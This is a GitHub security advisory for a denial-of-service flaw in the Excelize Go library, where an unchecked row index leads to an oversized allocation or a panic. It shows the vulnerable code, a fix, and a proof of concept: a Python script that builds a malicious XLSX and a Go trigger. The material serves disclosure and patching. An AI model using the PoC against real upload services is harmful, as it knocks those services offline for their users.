GitHub Advisoryadvisory · Go

GHSA-h69g-9hx6-f3v4 Excelize: Unbounded Row Index Allocation in Worksheet Parser (checkSheet OOM/Panic DoS)

HIGH Published 2026-07-10 Modified 2026-07-10 Official page ↗
Aliases
CVE-2026-54063
Ecosystem
Go
Packages
github.com/xuri/excelize/v2
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weaknesses
CWE-770
Reviewed
2026-07-10

Affected packages

• Go github.com/xuri/excelize/v2: < 2.11.0 → fixed in 2.11.0

Description

Unbounded Row Index Allocation in Worksheet Parser (checkSheet OOM/Panic DoS) Summary The `checkSheet()` function in `github.com/xuri/excelize/v2` uses an attacker-controlled `` XML attribute value directly as the length argument to `make([]xlsxRow, row)` without validating it against the Excel row limit (`TotalRows = 1,048,576`). A specially crafted XLSX file can trigger two denial-of-service variants: (A) an out-of-memory process kill when `r=2147483647` forces a ~16 GB allocation attempt, and (B) a runtime panic via out-of-bounds slice indexing when `r=-1`. Any service that opens attacker-supplied XLSX files and calls `GetCellValue` is affected. No authentication is required. Details The vulnerable code path is triggered by calling `GetCellValue` (or any API that internally invokes `workSheetReader`) on an XLSX file containing a crafted worksheet row element. Data flow (source → sink): 1. `excelize.go:186-193` — `OpenReader` reads attacker-controlled spreadsheet bytes. 2. `excelize.go:216-223` — ZIP reader is created and passed to `ReadZipReader`. 3. `lib.go:43-77` — ZIP entries are read into `fileList`; worksheet XML is stored by part name. 4. `excelize.go:228-229` — XML bytes are stored in `f.Pkg`. 5. `cell.go:71-79` — Public `GetCellValue` enters the worksheet value-read path. 6. `cell.go:1492-1494` — `getCellStringFunc` calls `workSheetReader`. 7. `excelize.go:313-324` — Worksheet XML is decoded into `xlsxWorksheet`. 8. `xmlWorksheet.go:302-312` — `` is deserialized into `xlsxRow.R int` with no validation (source). 9. `excelize.go:357-377` — `checkSheet()` accumulates the maximum `r` value; sink: `make([]xlsxRow, row)` allocates a slice of that size before any bounds check. Vulnerable code (`excelize.go:373-377`): ```go if r.R != 0 && r.R > row { row = r.R } sheetData := xlsxSheetData{Row: make([]xlsxRow, row)} // unbounded allocation ``` The constant `TotalRows = 1048576` is defined in `templates.go:190` but is never applied before the `make()` call in `checkSheet()`, leaving the allocation fully attacker-controlled. Variant A (`r = 2147483647`): `make([]xlsxRow, 2147483647)` attempts to allocate approximately 16 GB of memory. The Go runtime terminates the process with `fatal error: runtime: out of memory`. Variant B (`r = -1`): The first loop in `checkSheet()` leaves `row = 0` because the condition `r.R != 0` is false for `r.R = -1`. The second loop then executes `sheetData.Row[r.R-1]`, which evaluates to `sheetData.Row[-2]`, triggering `runtime error: index out of range [-2]` at `excelize.go:381`. Dynamic reproduction confirmed both variants inside a memory-limited Docker container (256 MB). The full panic stack trace for Variant B is: ``` panic: runtime error: index out of range [-2] goroutine 1 [running]: github.com/xuri/excelize/v2.(*xlsxWorksheet).checkSheet(...) /excelize/excelize.go:381 github.com/xuri/excelize/v2.(*File).workSheetReader(...) /excelize/excelize.go:329 github.com/xuri/excelize/v2.(*File).getCellStringFunc(...) /excelize/cell.go:1494 github.com/xuri/excelize/v2.(*File).GetCellValue(...) /excelize/cell.go:72 main.main.func1(...) /excelize/cmd/poc/main.go:44 main.main() /excelize/cmd/poc/main.go:52 ``` Recommended remediation (`excelize.go`): ```diff -func (ws *xlsxWorksheet) checkSheet() { +func (ws *xlsxWorksheet) checkSheet() error { ... for i := 0; i TotalRows { + return ErrMaxRows + } ... ws.SheetData = *sheetData + return nil } ``` PoC Step 1: Generate the malicious XLSX ```python import zipfile Variant A: OOM → row = "2147483647" Variant B: Panic → row = "-1" row = "-1" with zipfile.ZipFile("malicious.xlsx", "w", zipfile.ZIP_DEFLATED) as z: z.writestr("[Content_Types].xml", ''' ''') z.writestr("_rels/.rels", ''' ''') z.writestr("xl/workbook.xml", ''' ''') z.writestr("xl/_rels/workbook.xml.rels", ''' ''') z.writestr("xl/worksheets/sheet1.xml", f''' 1 ''') ``` Step 2: Trigger the vulnerability ```go package main import "github.com/xuri/excelize/v2" func main() { f, err := excelize.OpenFile("malicious.xlsx") if err != nil { panic(err) } defer f.Close() _, err = f.GetCellValue("Sheet1", "A1") // triggers checkSheet() → unbounded make() if err != nil { panic(err) } } ``` Expected results: • Variant A (`r="2147483647"`): process is killed by the OOM killer (`fatal error: runtime: out of memory` or exit code 137). • Variant B (`r="-1"`): process panics with `runtime error: index out of range [-2]` at `excelize.go:381` (exit code 2). Both variants were confirmed in a Docker container with `--memory 256m --memory-swap 256m`. The malicious XLSX payload is a few hundred bytes. Impact This is a Denial-of-Service vulnerability. An unauthenticated remote attacker can crash or memory-exhaust any Go application that uses `github.com/xuri/excelize/v2` to open attacker-supplied XLSX files and subsequently calls any cell-reading API (`GetCellValue`, `GetRows`, `GetCols`, or any function that internally triggers `workSheetReader`). Who is impacted: • Web services with XLSX upload or import endpoints (document processors, data pipelines, BI tools). • CLI tools or batch jobs that parse user-supplied spreadsheet files. • Any application using the library to handle untrusted XLSX documents. The attack requires no authentication and no user interaction beyond uploading a malicious file. The payload is a minimal well-formed ZIP of a few hundred bytes, making it trivial to construct and deliver. Repeated or concurrent exploitation can permanently deny service to all users of the affected application. Reproduction artifacts `Dockerfile` ```dockerfile Dockerfile for VULN-001: Unbounded Row Index Allocation in excelize checkSheet() CWE-770 — Allocation of Resources Without Limits or Throttling Target: github.com/xuri/excelize/v2 @ commit f4a068b Exploit path: GetCellValue -> getCellStringFunc -> workSheetReader -> checkSheet() In checkSheet() (excelize.go:341-393), the attacker-controlled attribute is used directly as make([]xlsxRow, row) size with no bounds c…

Related

Alias · CVE (1)

  • CVE-2026-54063 Excelize is a Go language library for reading and writing Microsoft Excel spreadsheets. vulnerability

Weakness · CWE (1)

  • CWE-770 Allocation of Resources Without Limits or Throttling weakness

References